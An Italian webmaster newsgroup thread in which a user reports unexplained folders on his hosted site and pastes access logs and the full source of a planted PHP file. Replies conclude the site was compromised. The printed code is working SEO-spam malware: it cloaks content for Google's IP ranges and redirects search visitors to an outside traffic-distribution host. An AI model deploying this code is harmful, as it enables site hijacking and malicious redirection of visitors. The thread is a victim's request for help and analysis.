Newsgroup: it.lavoro.professioni.webmaster
Titolo: E' un'intrusione malevola?

Oggi accedendo al mio spazio web (che ho con hostingperte) mi sono accorto 
che nella cartella "httpdocs" si sono create molte cartelle con nome formato 
da lettere apparentemente casuali
(ecco uno screenshot: 
http://img191.imageshack.us/img191/1543/cartelle.jpg
) 
all'interno di ognuna delle quali vi sono due file (index.php) 
e -gplhmesmatmttnl.txt) e una cartella (.cache) all'interno della quale c'č 
un file con un nome del tipo d41d8cd98f00b204e9800998ecf8427e (circa 10 KB).
Aprendo i txt ci sono una serie di righe cosě composte:
un indirizzo IP -- una data (es. 2010-09-02 15:12:20) -- 
miodominio.it
 --  
/0tfYUh/Index.php* --  -- un'ultima stringa con contenuti tipo:
Baiduspider+(+
http://www.baidu.com/search/spider.htm
)
Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
gooblog/2.0 (
http://help.goo.ne.jp/contact/
)
SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 
UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; 
+
http://www.google.com/bot.html
)
DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; 
+
http://www.google.com/bot.html
)
Yeti/1.0 (NHN Corp.; 
http://help.naver.com/robots/
)
Mozilla/5.0 (compatible; Yahoo! Slurp China; 
http://misc.yahoo.com.cn/help.html
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Baiduspider+(+
http://www.baidu.com/search/spider.htm
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
http://www.google.co.za/search?q=food+in+the+bible&hl=en&rlz=1T4GZAZ_enZA373ZA373&ei=XfqDTJb5FoO8lQf2v8DHDw&start=100&sa=N
 - 
- Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; 
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/5.0 (compatible; Ask Jeeves/Teoma; 
+
http://about.ask.com/en/docs/about/webmasters.shtml
)
Mozilla/5.0 (compatible; Hailoobot/1.2; +
http://www.hailoo.com/spider.html
)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Baiduspider+(+
http://www.baidu.jp/spider/
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1)
Mozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1)
Mozilla/5.0 (compatible; Yahoo! Slurp China; 
http://misc.yahoo.com.cn/help.html
)
Xenu Link Sleuth/1.3.8
http://www.google.com/search?q=how+did+people+in+Biblical+times+cook&btnG=Search&hl=en&rls=com.microsoft%3A*%3AIE-SearchBox&rlz=1I7GGLL_en&sa=2
 - 
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.5; SLCC1; .NET CLR 
2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; 
WinTSI 24.03.2010)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; 
.NET CLR 2.0.50728)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; 
.NET CLR 2.0.50728)
http://www.google.co.za/search?hl=en&client=firefox-a&rls=org.mozilla%3Aen-GB%3Aofficial&q=biblical+time+cooking+fires&btnG=Search&aq=f&aqi=&aql=&oq=&gs_rfai=
 - 
- Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.8) Gecko/20100202 
Firefox/3.5.8
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
http://miodominio.it/G4VqEJ/
 -- Mozilla/4.0 (compatible; MSIE 7.0; Windows 
NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; 
.NET CLR 2.0.50728)
http://www.google.com/url?sa=t&source=web&cd=5&ved=0CCIQFjAE&url=http%3A%2F%2Fmiodominio.it%2F0tfYUh%2F&rct=j&q=how%20did%20they%20cooking%20in%20biblical%20times&ei=gkaSTNe7CYW6sAPGs-nkCQ&usg=AFQjCNEUc0kEIDuIyjEKu-c-SBlvCRwCSw
 - 
- Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, 
like Gecko) Chrome/6.0.472.59 Safari/534.3
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1)
Mozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
hoge (
co2h2...@gmail.com
)
http://miodominio.it/sYOcNH/
 -- Mozilla/5.0 (compatible; heritrix/1.14.4 
+
http://www.unipd.it
)
Baiduspider+(+
http://www.baidu.jp/spider/
)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
Mozilla/5.0 (compatible; MJ12bot/v1.3.3; 
http://www.majestic12.co.uk/bot.php?+
)
http://us.yhs.search.yahoo.com/if?p=The+Bible+Cook+Book+Lore+of+Food+In+Biblical+Times+Plus+Adaptation+of+Ancient+Recipe&partnerid=yhs-if-sandvine-suddenlink-adult&fr=yhs-if-sandvine-suddenlink-adult&ei=UTF-8
 - 
- Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; 
.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 
3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
http://us.yhs.search.yahoo.com/if?p=The+Bible+Cook+Book+Lore+of+Food+In+Biblical+Times+Plus+Adaptation+of+Ancient+Recipe&partnerid=yhs-if-sandvine-suddenlink-adult&fr=yhs-if-sandvine-suddenlink-adult&ei=UTF-8
 - 
- Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; 
.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 
3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Baiduspider+(+
http://www.baidu.com/search/spider.htm
)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; 
http://help.yahoo.com/help/us/ysearch/slurp
)
* dove 0tfYUh corrisponde al nome della cartella all'interno della quale č 
contenuto il file
Secondo voi cosa puň essere?
Devo preoccuparmi?
Devo avvertire il fornitore dello spazio web?!
Grazie.
-- 
Massy 

 Massy
Il testo sembra la lista degli accessi dei bot dei vari motori di
ricerca (  Yahoo! Slurp/3.0 è il bot di yahoo per esempio, baidu è un
motore di ricerca cinese mi sembra), almeno all'apparenza non sembra
malevola anche se però è strano che crei tutte quelle cartelle..
Andrea

 Devo avvertire il fornitore dello spazio web?!
Se è qualcosa che hai installato e/o configurato tu, no.

> Devo preoccuparmi?
Moltissimo. Ti (o forse "vi" se hosting condiviso) hanno bucato.

 hai inserito nel tuo messaggio.
Ecco il contenuto di uno dei file index.php:


messaggio partito per errore...
dicevo, ecco il contenuto:
<?php
dolog();
error_reporting(0);
$val = "captin georges seafood";
$rrl = split("\n", "<a href=/1Lp7PB/>sprinfield ma seafood</a>
<a href=/UPt4jH/>low allergen organic dog food</a>
<a href=/28Rdxp/>institutional food house</a>
<a href=/VbRQp5/>cincinnati landmarks history food culture</a>
<a href=/XzMt1K/>wild fish food</a>
<a href=/NxfBXD/>cultural food on sudan</a>
<a href=/xXYRtq/>solid golg dog food</a>
<a href=/wtHg0O/>ffe frozen food</a>
<a href=/kNtq7a/>iams dog food good for dogs</a>
<a href=/z60MLk/>whole pet food recipe</a>
<a href=/Fa8sLS/>campos mexican food menu</a>
<a href=/dvOI8s/>food francisco grade peroxide san</a>
<a href=/gNmJFh/>effect of microwaves on food</a>
<a href=/98WBG0/>racks fast food mason city ia</a>
<a href=/YQKZdB/>seafood restaurant manchester new hampshire</a>
<a href=/ctjUKp/>smart food products</a>
<a href=/XUysR4/>food puzzle for cats</a>
<a href=/BZTpM0/>the food hekate ate</a>
<a href=/2O8WV1/>mass food stamp program</a>
<a href=/VEZq0x/>food guide pyramid in childhood nutrition</a>
<a href=/Pw8HJd/>free stand of food game doenload</a>
<a href=/MrnjqL/>diet food delivered cave creek arizona</a>
<a href=/x3IPLT/>food web for a savanna</a>
<a href=/59KGcz/>picture of baboon eating food</a>
<a href=/v0VJyw/>show me a tundra food web</a>
<a href=/89FwSj/>finger food idesa</a>
<a href=/mdDxXR/>food processing new york</a>
<a href=/Qka1Cb/>science and food</a>
<a href=/d9N1V2/>animal chain desert food</a>");
$t=base64_decode("PGh0bWw+DQoNCjxoZWFkPg0KPGxpbmsgSFJFRj0iaHR0cDovL3d3dy5hdnZvY2F0b3NpbHZlcmkuaXQvZmF2aWNvbi5pY28iIHJlbD0iU0hPUlRDVVQgSUNPTiI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJpdCI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCjx0aXRsZT4jdGl0bGUjIEhvbWUgUGFnZTwvdGl0bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBNTV9zd2FwSW1nUmVzdG9yZSgpIHsgLy92My4wDQogIHZhciBpLHgsYT1kb2N1bWVudC5NTV9zcjsgZm9yKGk9MDthJiZpPGEubGVuZ3RoJiYoeD1hW2ldKSYmeC5vU3JjO2krKykgeC5zcmM9eC5vU3JjOw0KfQ0KZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wDQogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsNCiAgICB2YXIgaSxqPWQuTU1fcC5sZW5ndGgsYT1NTV9wcmVsb2FkSW1hZ2VzLmFyZ3VtZW50czsgZm9yKGk9MDsgaTxhLmxlbmd0aDsgaSsrKQ0KICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319DQp9DQoNCmZ1bmN0aW9uIE1NX2ZpbmRPYmoobiwgZCkgeyAvL3Y0LjAxDQogIHZhciBwLGkseDsgIGlmKCFkKSBkPWRvY3VtZW50OyBpZigocD1uLmluZGV4T2YoIj8iKSk+MCYmcGFyZW50LmZyYW1lcy5sZW5ndGgpIHsNCiAgICBkPXBhcmVudC5mcmFtZXNbbi5zdWJzdHJpbmcocCsxKV0uZG9jdW1lbnQ7IG49bi5zdWJzdHJpbmcoMCxwKTt9DQogIGlmKCEoeD1kW25dKSYmZC5hbGwpIHg9ZC5hbGxbbl07IGZvciAoaT0wOyF4JiZpPGQuZm9ybXMubGVuZ3RoO2krKykgeD1kLmZvcm1zW2ldW25dOw0KICBmb3IoaT0wOyF4JiZkLmxheWVycyYmaTxkLmxheWVycy5sZW5ndGg7aSsrKSB4PU1NX2ZpbmRPYmoobixkLmxheWVyc1tpXS5kb2N1bWVudCk7DQogIGlmKCF4ICYmIGQuZ2V0RWxlbWVudEJ5SWQpIHg9ZC5nZXRFbGVtZW50QnlJZChuKTsgcmV0dXJuIHg7DQp9DQoNCmZ1bmN0aW9uIE1NX3N3YXBJbWFnZSgpIHsgLy92My4wDQogIHZhciBpLGo9MCx4LGE9TU1fc3dhcEltYWdlLmFyZ3VtZW50czsgZG9jdW1lbnQuTU1fc3I9bmV3IEFycmF5OyBmb3IoaT0wO2k8KGEubGVuZ3RoLTIpO2krPTMpDQogICBpZiAoKHg9TU1fZmluZE9iaihhW2ldKSkhPW51bGwpe2RvY3VtZW50Lk1NX3NyW2orK109eDsgaWYoIXgub1NyYykgeC5vU3JjPXguc3JjOyB4LnNyYz1hW2krMl07fQ0KfQ0KLy8tLT4NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KDQo8Ym9keSBiYWNrZ3JvdW5kPSJzZm9uZG8gZWdpdHRvLmdpZiIgdG9wbWFyZ2luPSIwIiBvbkxvYWQ9Ik1NX3ByZWxvYWRJbWFnZXMoJ3B1bHNhbnRpL2hvbWVfcHJlc3MuSlBHJywncHVsc2FudGkvc2V0dG9yaV9wcmVzcy5KUEcnLCdwdWxzYW50aS9Db25zdWxlbnplX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2FydGljb2xpX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2RvbWljaWxpYXppb25pX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2N1cnJpY3VsdW1fcHJlc3MuSlBHJywncHVsc2FudGkvY29udGF0dGlfcHJlc3MuSlBHJywncHVsc2FudGkvbGlua19wcmVzcy5KUEcnLCdwdWxzYW50aS9yaXNlcnZhdGFfcHJlc3MuSlBHJykiPg0KPHRhYmxlIHdpZHRoPSI5ODQiIGhlaWdodD0iMTI0NSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxsc3BhY2luZz0iMCI+DQogIDx0cj4NCiAgICA8dGQgaGVpZ2h0PSIyNTgiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxpbWcgYm9yZGVyPSIwIiBzcmM9IkJBTk5FUi9CQU5ORVIlMjBGSU5BTC5naWYiIHdpZHRoPSI5NjMiIGhlaWdodD0iMjMwIj48YnI+DQogICAgICAgICZuYnNwOzxhIGhyZWY9ImhvbWUuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdob21lJywnJywncHVsc2FudGkvaG9tZV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvaG9tZV91bnByZXNzLkpQRyIgbmFtZT0iaG9tZSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L2E+IDxhIGhyZWY9InNldHRvcmkuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdzZXR0b3JpJywnJywncHVsc2FudGkvc2V0dG9yaV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvc2V0dG9yaV91bnByZXNzLkpQRyIgbmFtZT0ic2V0dG9yaSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L2E+ICA8YSBocmVmPSJjb25zdWxlbnplLmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnY29uc3VsZW56ZScsJycsJ3B1bHNhbnRpL0NvbnN1bGVuemVfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL0NvbnN1bGVuemVfdW5wcmVzcy5KUEciIG5hbWU9ImNvbnN1bGVuemUiIHdpZHRoPSIxMDAiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCI+IDwvYT48YSBocmVmPSJhcnRpY29saS5odG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ2FydGljb2xpJywnJywncHVsc2FudGkvYXJ0aWNvbGlfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL2FydGljb2xpX3VucHJlc3MuSlBHIiBuYW1lPSJhcnRpY29saSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj4gPC9hPjxhIGhyZWY9ImRvbWljaWxpYXppb25pLmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnZG9taWNpbGlhemlvbmknLCcnLCdwdWxzYW50aS9kb21pY2lsaWF6aW9uaV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvZG9taWNpbGlhemlvbmlfdW5wcmVzcy5KUEciIG5hbWU9ImRvbWljaWxpYXppb25pIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiPiA8L2E+PGEgaHJlZj0iY3VycmljdWx1bS5odG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ2N1cnJpY3VsdW0nLCcnLCdwdWxzYW50aS9jdXJyaWN1bHVtX3ByZXNzLkpQRycsMSkiPjxpbWcgc3JjPSJwdWxzYW50aS9jdXJyaWN1bHVtX3VucHJlc3MuSlBHIiBuYW1lPSJjdXJyaWN1bHVtIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiPiA8L2E+PGEgaHJlZj0iY29udGF0dGkuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdjb250YXR0aScsJycsJ3B1bHNhbnRpL2NvbnRhdHRpX3ByZXNzLkpQRycsMSkiPjxpbWcgc3JjPSJwdWxzYW50aS9jb250YXR0aV91bnByZXNzLkpQRyIgbmFtZT0iY29udGF0dGkiIHdpZHRoPSIxMDAiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCI+IDwvYT48YSBocmVmPSJsaW5rLmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnbGluaycsJycsJ3B1bHNhbnRpL2xpbmtfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL2xpbmtfdW5wcmVzcy5KUEciIG5hbWU9ImxpbmsiIHdpZHRoPSIxMDAiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCI+IDwvYT48YSBocmVmPSJyaXNlcnZhdGEuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdyaXNlcnZhdGEnLCcnLCdwdWxzYW50aS9yaXNlcnZhdGFfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL3Jpc2VydmF0YV91bnByZXNzLkpQRyIgbmFtZT0icmlzZXJ2YXRhIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiPjwvYT48L3A+ICAgICAgPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCB3aWR0aD0iMTU1IiBoZWlnaHQ9IjE4NiIgYm9yZGVyY29sb3I9IiMzMzMzMzMiIGJhY2tncm91bmQ9IlNGT05ESS9wcm92YSBzZm9uZG8gcmlnaGluZV9vcml6em9udGFsaTIocm9zYXRvKS5qcGciIGJnY29sb3I9IiNFQ0U5RDgiPjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCiAgICA8L3RkPg0KICAgIDx0ZCB3aWR0aD0iODE5IiByb3dzcGFuPSI0IiBiYWNrZ3JvdW5kPSJTRk9OREkvcHJvdmEgc2ZvbmRvIHJpZ2hpbmVfb3JpenpvbnRhbGkzKGF6enVycmF0bykuanBnIiBiZ2NvbG9yPSIjRkZGRkZGIj48cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSIrNyI+U0lUTyBJTiBDT1NUUlVaSU9ORTwvZm9udD4gPC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQgaGVpZ2h0PSIzNzUiIGJvcmRlcmNvbG9yPSIjMzMzMzMzIiBiYWNrZ3JvdW5kPSJTRk9OREkvcHJvdmEgc2ZvbmRvIHJpZ2hpbmVfb3JpenpvbnRhbGkyKHJvc2F0bykuanBnIiBiZ2NvbG9yPSIjRUNFOUQ4Ij48ZGl2IGFsaWduPSJjZW50ZXIiPiNjb250ZW50Iw0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7PC9wPg0KICAgICAgPHA+Jm5ic3A7IDwvcD4NCiAgICA8L2Rpdj48L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGhlaWdodD0iMTI5IiBib3JkZXJjb2xvcj0iIzMzMzMzMyIgYmFja2dyb3VuZD0iU0ZPTkRJL3Byb3ZhIHNmb25kbyByaWdoaW5lX29yaXp6b250YWxpMihyb3NhdG8pLmpwZyIgYmdjb2xvcj0iI0VDRTlEOCI+PHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KICAgIDxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCiAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+DQogICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7IDwvcD48L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGhlaWdodD0iMTMxIiBib3JkZXJjb2xvcj0iIzMzMzMzMyIgYmFja2dyb3VuZD0iU0ZPTkRJL3Byb3ZhIHNmb25kbyByaWdoaW5lX29yaXp6b250YWxpMihyb3NhdG8pLmpwZyIgYmdjb2xvcj0iI0VDRTlEOCI+Jm5ic3A7PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoZWlnaHQ9IjkzIiBjb2xzcGFuPSIyIiBib3JkZXJjb2xvcj0iIzMzMzMzMyIgYmFja2dyb3VuZD0iU0ZPTkRJL3Byb3ZhIHNmb25kbyByaWdoaW5lX3ZlcnRpY2FsaTEuanBnIiBiZ2NvbG9yPSIjRUNFOUQ4Ij48ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgICAgPHA+PGZvbnQgY29sb3I9IiM2NjY2NjYiPkF2di4gTWFzc2ltaWxpYW5vIFNpbHZlcmk8YnI+DQogICAgICAgIFAuenphIE1vcmV0dGksIDIgLSAwNjA0OSBTUE9MRVRPIChQRykgLSBUZWwvRmF4OiAwNzQzLjQzNzk0PC9mb250Pjxicj4NCiAgICAgICAgPGEgaHJlZj0ibWFpbHRvOm1hc3NpbWlsaWFub0BhdnZvY2F0b3NpbHZlcmkuaXQiPjxmb250IGNvbG9yPSIjNzE1MjJCIj5tYXNzaW1pbGlhbm9AYXZ2b2NhdG9zaWx2ZXJpLml0PC9mb250PjwvYT48L3A+DQogICAgICA8L2Rpdj48L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxwIGFsaWduPSJsZWZ0Ij4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCjwvcD4NCjwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg0K");
#$t = "#content#";
$g = checkg($_SERVER[REMOTE_ADDR]);
if (!$g) {if(eregi("google|yahoo|live",$_SERVER[HTTP_REFERER])){
$self=$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI];
$goto='
http://moacbeniv.com/mytds/go.php?s=32
';
header("Location: $goto");exit;}}
$h=md5($q); if(file_exists(".cache/$h")){echo 
join('',file(".cache/$h"));exit;}
$c=gets2($val, $rrl);
$t=str_replace("#title#",ucwords($val),$t);
$t=str_replace("#kw#",$val,$t);
$cont = $c;
$t=str_replace("#content#",join("\n",$cont),$t);
$t = preg_replace_callback("/#rnum#/",create_function('$matches','return 
gp();'), $t);
$f=@fopen(".cache/$h","w");@fwrite($f,$t);@fclose($f);
echo $t;exit;
function dolog() {
    global $me;
    $str = "$_SERVER[REMOTE_ADDR] -- ".date("Y-m-d H:i:s")." --  
$_SERVER[SERVER_NAME] -- $_SERVER[REQUEST_URI] -- $_SERVER[HTTP_REFERER] --  
$_SERVER[HTTP_USER_AGENT]\n"; $lp = "$me-gplhmesmatmttnl.txt"; $fd = 
@fopen($lp, "a");@fwrite($fd, $str); @fclose($fd);
}
function gets2($kw, $rrl) {
    $sc = 30;
    $kw =trim($kw);
    $base = 
"/WebSearchService/rss/webSearch.xml?appid=yahoosearchwebrss&results=$sc&query=".urlencode($kw)."&adult_ok=1";
    $req = $base;
    $s = @fsockopen("
api.search.yahoo.com
", 80, $_en, $_er, 10);
    $rstr = "GET $req HTTP/1.0\r\n";
    $rstr .= "Host: 
api.search.yahoo.com
\r\n";
    $rstr .= "\r\n";
    @fwrite($s,$rstr);
    $dat='';
    do {$dat .= fgets ($s);} while (strpos($dat,"\r\n\r\n") === false);
    $dat='';
    while (!feof($s)) {$dat .= fread($s,8192);}
    $c = $dat;
    @fclose($s);
    $r = preg_match_all("/<item>(.+?)<\/item>/", $c, $na);
    if ($r < 3) { return 0; }
    $ret = array();
    $rtags=array();
    $rtags[] = array('<p>', "</p>\n\n");
    $rtags[] = array('<p id=#rnum#>', "</p>\n\n");
    $rtags[] = array(' ', " \n\n");
    for($i=1;$i<sizeof($na[1]);$i++) {
        $tmp = $na[1][$i];
        @eregi('<title>(.+)</title>', $tmp, $na2);
        $title = $na2[1];
        @eregi('<description>(.+)</description>', $tmp, $na2);
        $description = $na2[1];
        $description = str_replace("...", ".", $description);
        @eregi('<link>(.+)</link>', $tmp, $na2);
        $link = $na2[1];
        $rtag=$rtags[rand(0,sizeof($rtags)-1)];
            $relink_element = array_pop($rrl);
            $ret[] = "$rtag[0] $relink_element $title $description 
$rtag[1]";
    }
    $ret = array_slice($ret, 0, 40);
    $ret[] = "<P>";
    $ret[] = "<P>";
    $ret[] = "<hr>";
    shuffle($ret); return $ret;
}
function checkg($ip) {
    $nfilter = split("\n", "
72.14.192.0/18
74.125.0.0/16
64.233.160.0/19
66.249.64.0/19
");
    foreach ($nfilter as $f) {
        if (ip_in_range($ip, $f)) { return 1; }
    } return 0;
}
Function decbin32 ($dec) { return str_pad(decbin($dec), 32, '0', 
STR_PAD_LEFT); }
function ip_in_range($ip, $range) {
list($range, $netmask) = explode('/', $range, 2);
$x = explode('.', $range);
while(count($x)<4) $x[] = '0';
list($a,$b,$c,$d) = $x;
$range = sprintf("%u.%u.%u.%u", empty($a)?'0':$a, 
empty($b)?'0':$b,empty($c)?'0':$c,empty($d)?'0':$d);
$range_dec = ip2long($range);
$ip_dec = ip2long($ip);
$broadcast_dec = bindec(substr(decbin32($range_dec), 0, $netmask) . 
str_pad('', 32-$netmask, '1'));
$wildcard_dec = pow(2, (32-$netmask)) - 1;
$broadcast_dec = $range_dec | $wildcard_dec;
return (($ip_dec & $broadcast_dec) == $ip_dec);
}
function gp ($length = 4)
{
  $password = "";
  $possible = "abcdfghjkmnpqrstvwxyz";
   $i = 0;
    while ($i < $length) {
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char)) {
      $password .= $char;
      $i++;
    }
  }
  return $password;
}
?>

Ho mandato un ticket con priorità "critica" all'hosting.
Vediamo cosa mi risponderà... 

 $t=base64_decode("PGh0bWw+DQoNCjxoZWFkPg0KPGxpbmsgSFJFRj0iaHR0cDovL3d3dy5hd
da qui in poi ha tutta l'aria di una inserzione "malevola"


mah.
questa è il risultato di una decode su quel contenuto:
----
<html>
<head>
<link HREF="
